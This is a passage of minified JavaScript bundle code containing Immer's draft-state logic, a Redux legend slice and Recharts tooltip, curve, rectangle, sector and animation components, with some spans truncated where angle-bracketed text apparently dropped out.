0:i[cn];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(FT(n,i)&&(n!==void 0||Wm(e.base_,t)))return!0;np(e),Km(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return tp(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,np(e),Km(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Oi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Dn(11)},getPrototypeOf(e){return Oo(e.base_)},setPrototypeOf(){Dn(12)}},Mo={};ou(Kx,(e,t)=>{Mo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Mo.deleteProperty=function(e,t){return Mo.set.call(this,e,t,void 0)};Mo.set=function(e,t,n){return Kx.set.call(this,e[0],t,n,e[0])};function tp(e,t){const n=e[cn];return(n?Oi(n):e)[t]}function qT(e,t,n){var i;const r=dN(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function dN(e,t){if(!(t in e))return;let n=Oo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Oo(n)}}function Km(e){e.modified_||(e.modified_=!0,e.parent_&&Km(e.parent_))}function np(e){e.copy_||(e.copy_=Um(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var YT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Dn(6),r!==void 0&&typeof r!="function"&&Dn(7);let i;if(ra(t)){const a=_y(this),o=qm(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?Vm(a):Hm(a)}return Ay(a,r),Oy(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===oN&&(i=void 0),this.autoFreeze_&&Hx(i,!0),r){const a=[],o=[];ia("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else Dn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ra(e)||Dn(8),Qa(e)&&(e=GT(e));const t=_y(this),n=qm(e,void 0);return n[cn].isManual_=!0,Hm(t),n}finishDraft(e,t){const n=e&&e[cn];(!n||!n.isManual_)&&Dn(9);const{scope_:r}=n;return Ay(r,t),Oy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ia("Patches").applyPatches_;return Qa(e)?r(e,t):this.produce(e,i=>r(i,t))}};function qm(e,t){const n=el(e)?ia("MapSet").proxyMap_(e,t):Ld(e)?ia("MapSet").proxySet_(e,t):KT(e,t);return(t?t.scope_:uN()).drafts_.push(n),n}function GT(e){return Qa(e)||Dn(10,e),fN(e)}function fN(e){if(!ra(e)||Id(e))return e;const t=e[cn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Um(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Um(e,!0);return ou(n,(i,a)=>{cN(n,i,fN(a))},r),t&&(t.finalized_=!1),n}var XT=new YT;XT.produce;var ZT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},pN=Xt({name:"legend",initialState:ZT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:Ue()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:Ue()},removeLegendPayload:{reducer(e,t){var n=Fn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:Ue()}}}),{setLegendSize:TV,setLegendSettings:MV,addLegendPayload:mN,replaceLegendPayload:hN,removeLegendPayload:xN}=pN.actions,QT=pN.reducer;function Ym(){return Ym=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=fa.separator,contentStyle:n,itemStyle:r,labelStyle:i=fa.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=fa.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?gd(a,l):a).map((N,z)=>{if(N.type==="none")return null;var _=N.formatter||o||nM,{value:A,name:O}=N,P=A,I=O;if(_){var U=_(A,O,N,z,a);if(Array.isArray(U))[P,I]=U;else if(U!=null)P=U;else return null}var D=As(As({},fa.itemStyle),{},{color:N.color||fa.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:D},Pr(I)?p.createElement("span",{className:"recharts-tooltip-item-name"},I):null,Pr(I)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},P),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=As(As({},fa.contentStyle),n),g=As({margin:0},i),y=!Pt(d),v=y?d:"",b=Xe("recharts-default-tooltip",c),w=Xe("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Ym({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},_s="recharts-tooltip-wrapper",iM={visibility:"hidden"};function aM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Xe(_s,{["".concat(_s,"-right")]:he(n)&&t&&he(t.x)&&n>=t.x,["".concat(_s,"-left")]:he(n)&&t&&he(t.x)&&n=t.y,["".concat(_s,"-top")]:he(r)&&t&&he(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return hy?Math.max(d,m):Math.max(f,m)}function sM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function oM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return l.height>0&&l.width>0&&n?(f=Ly({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=Ly({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=sM({translateX:f,translateY:m,useTranslate3d:c})):d=iM,{cssProperties:d,cssClasses:aM({translateX:f,translateY:m,coordinate:n})}}function Iy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $l(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=oM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:$l($l({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=$l($l({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var vN=()=>{var e;return(e=ye(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Xm(){return Xm=Object.assign?Object.assign.bind():function(e){for(var t=1;tze(e.x)&&ze(e.y),By=e=>e.base!=null&&uu(e.base)&&uu(e),Os=e=>e.x,Ts=e=>e.y,mM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Go(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=$y["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return $y[n]||ud},Fy={connectNulls:!1,type:"linear"},hM=e=>{var{type:t=Fy.type,points:n=[],baseLine:r,layout:i,connectNulls:a=Fy.connectNulls}=e,o=mM(t,i),l=a?n.filter(uu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Ry(Ry({},x),{},{base:r[g]}));i==="vertical"?c=_l().y(Ts).x1(Os).x0(x=>x.base.x):c=_l().x(Os).y1(Ts).y0(x=>x.base.y);var d=c.defined(By).curve(o),f=a?u.filter(By):u;return d(f)}var m;i==="vertical"&&he(r)?m=_l().y(Ts).x1(Os).x0(r):he(r)?m=_l().x(Os).y1(Ts).y0(r):m=Pj().x(Os).y(Ts);var h=m.defined(uu).curve(o);return h(l)},Ba=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=us();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?hM(o):r;return p.createElement("path",Xm({},Cr(e),Sx(e),{className:Xe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},xM=["x","y","top","left","width","height","className"];function Zm(){return Zm=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),NM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=wM(e,xM),u=vM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!he(t)||!he(n)||!he(a)||!he(o)||!he(r)||!he(i)?null:p.createElement("path",Zm({},It(u),{className:Xe("recharts-cross",l),d:kM(t,n,a,o,r,i)}))};function SM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Uy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vy(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),gN=(e,t,n)=>e.map(r=>"".concat(EM(r)," ").concat(t,"ms ").concat(n)).join(","),AM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Lo=(e,t)=>Object.keys(t).reduce((n,r)=>Vy(Vy({},n),{},{[r]:e(r,t[r])}),{});function Hy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ut(e){for(var t=1;te+(t-e)*n,Qm=e=>{var{from:t,to:n}=e;return t!==n},yN=(e,t,n)=>{var r=Lo((i,a)=>{if(Qm(a)){var[o,l]=e(a.from,a.to,a.velocity);return ut(ut({},a),{},{from:o,velocity:l})}return a},t);return n<1?Lo((i,a)=>Qm(a)&&r[i]!=null?ut(ut({},a),{},{velocity:du(a.velocity,r[i].velocity,n),from:du(a.from,r[i].from,n)}):a,t):yN(e,r,n-1)};function MM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>ut(ut({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Lo((m,h)=>h.from,l),u=()=>!Object.values(l).filter(Qm).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=yN(n,l,x),i(ut(ut(ut({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function LM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:ut(ut({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=Lo((g,y)=>du(...y,n(m)),c);if(a(ut(ut(ut({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=Lo((g,y)=>du(...y,n(1)),c);a(ut(ut(ut({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const IM=(e,t,n,r,i,a)=>{var o=AM(e,t);return n==null?()=>(i(ut(ut({},e),t)),()=>{}):n.isStepper===!0?MM(e,t,n,o,i,a):LM(e,t,n,r,o,i,a)};var fu=1e-4,bN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],wN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),Ky=(e,t)=>n=>{var r=bN(e,t);return wN(r,n)},DM=(e,t)=>n=>{var r=bN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return wN(i,n)},RM=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},$M=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=Ky(e,n),a=Ky(t,r),o=DM(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return qy(e);case"spring":return FM();default:if(e.split("(")[0]==="cubic-bezier")return qy(e)}return typeof e=="function"?e:null};function UM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class VM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function HM(){return UM(new VM)}var KM=p.createContext(HM);function qM(e,t){var n=p.useContext(KM);return p.useMemo(()=>t??n(e),[e,t,n])}var YM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Dd={isSsr:YM()},GM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Yy={t:0},rp={t:1};function Rd(e){var t=fn(e,GM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Dd.isSsr:n,f=qM(t.animationId,t.animationManager),[m,h]=p.useState(d?Yy:rp),x=p.useRef(null);return p.useEffect(()=>{d||h(rp)},[d]),p.useEffect(()=>{if(!d||!r)return cs;var g=IM(Yy,rp,WM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function $d(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(Po(t)),r=p.useRef(e);return r.current!==e&&(n.current=Po(t),r.current=e),n.current}var XM=["radius"],ZM=["radius"],Gy,Xy,Zy,Qy,Jy,e1,t1,n1,r1,i1;function a1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function s1(e){for(var t=1;t{var a=ti(n),o=ti(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;hl?l:y}f=Qe(Gy||(Gy=Xn(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Qe(Xy||(Xy=Xn(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Qe(Zy||(Zy=Xn(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Qe(Qy||(Qy=Xn(["A ",",",",0,0,",`, + `,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Qe(Jy||(Jy=Xn(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Qe(e1||(e1=Xn(["A ",",",",0,0,",`, + `,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Qe(t1||(t1=Xn(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Qe(n1||(n1=Xn(["A ",",",",0,0,",`, + `,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=Qe(r1||(r1=Xn(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Qe(i1||(i1=Xn(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},c1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},jN=e=>{var t=fn(e,c1),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=$d(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=Xe("recharts-rectangle",d);if(!g){var N=It(t),{radius:z}=N,_=o1(N,XM);return p.createElement("path",pu({},_,{x:ti(a),y:ti(o),width:ti(l),height:ti(c),radius:typeof u=="number"?u:void 0,className:S,d:l1(a,o,l,c,u)}))}var A=y.current,O=v.current,P=b.current,I=w.current,U="0px ".concat(r===-1?1:r,"px"),D="".concat(r,"px 0px"),M=gN(["strokeDasharray"],m,typeof f=="string"?f:c1.animationEasing);return p.createElement(Rd,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},F=>{var R=St(A,l,F),W=St(O,c,F),$=St(P,a,F),H=St(I,o,F);n.current&&(y.current=R,v.current=W,b.current=$,w.current=H);var X;x?F>0?X={transition:M,strokeDasharray:D}:X={strokeDasharray:U}:X={strokeDasharray:D};var se=It(t),{radius:ue}=se,ge=o1(se,ZM);return p.createElement("path",pu({},ge,{radius:typeof u=="number"?u:void 0,className:S,d:l1($,H,R,W,u),ref:n,style:s1(s1({},X),t.style)}))})};function u1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function d1(e){for(var t=1;te*180/Math.PI,st=(e,t,n,r)=>({x:e+Math.cos(-mu*r)*n,y:t+Math.sin(-mu*r)*n}),kN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},s8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},o8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=s8({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:a8(c),angleInRadian:c}},l8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},c8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},u8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=o8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=l8(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?d1(d1({},t),{},{radius:i,angle:c8(d,t)}):null};function NN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=st(t,n,r,i),l=st(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var f1,p1,m1,h1,x1,v1,g1;function Jm(){return Jm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=Ut(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Bl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/mu,f=c?i:i+a*d,m=st(t,n,u,f),h=st(t,n,r,f),x=c?i-a*d:i,g=st(t,n,u*Math.cos(d*mu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},SN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=d8(a,o),c=a+l,u=st(t,n,i,a),d=st(t,n,i,c),f=Qe(f1||(f1=Ri(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=st(t,n,r,a),h=st(t,n,r,c);f+=Qe(p1||(p1=Ri(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Qe(m1||(m1=Ri(["L ",","," Z"])),t,n);return f},f8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Ut(u-c),{circleTangency:f,lineTangency:m,theta:h}=Bl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Bl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Qe(h1||(h1=Ri(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),m.x,m.y,a,a,a*2,a,a,-a*2):SN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Qe(x1||(x1=Ri(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=Bl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=Bl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),_=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(_<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Qe(v1||(v1=Ri(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(_>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Qe(g1||(g1=Ri(["L",",","Z"])),t,n);return b},p8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},zN=e=>{var t=fn(e,p8),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a0&&Math.abs(u-d)<360?g=f8({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=SN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",Jm({},It(t),{className:m,d:g}))};function m8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(Hj(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=st(r,i,a,l),u=st(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return NN(t)}}var CN={},PN={},EN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Lx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(EN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=EN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(PN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Ix,n=PN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?it?1:e>=t?0:NaN}function x8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function qx(e){let t,n,r;e.length!==2?(t=fi,n=(l,c)=>fi(e(l),c),r=(l,c)=>e(l)-c):(t=e===fi||e===x8?e:v8,n=e,r=e);function 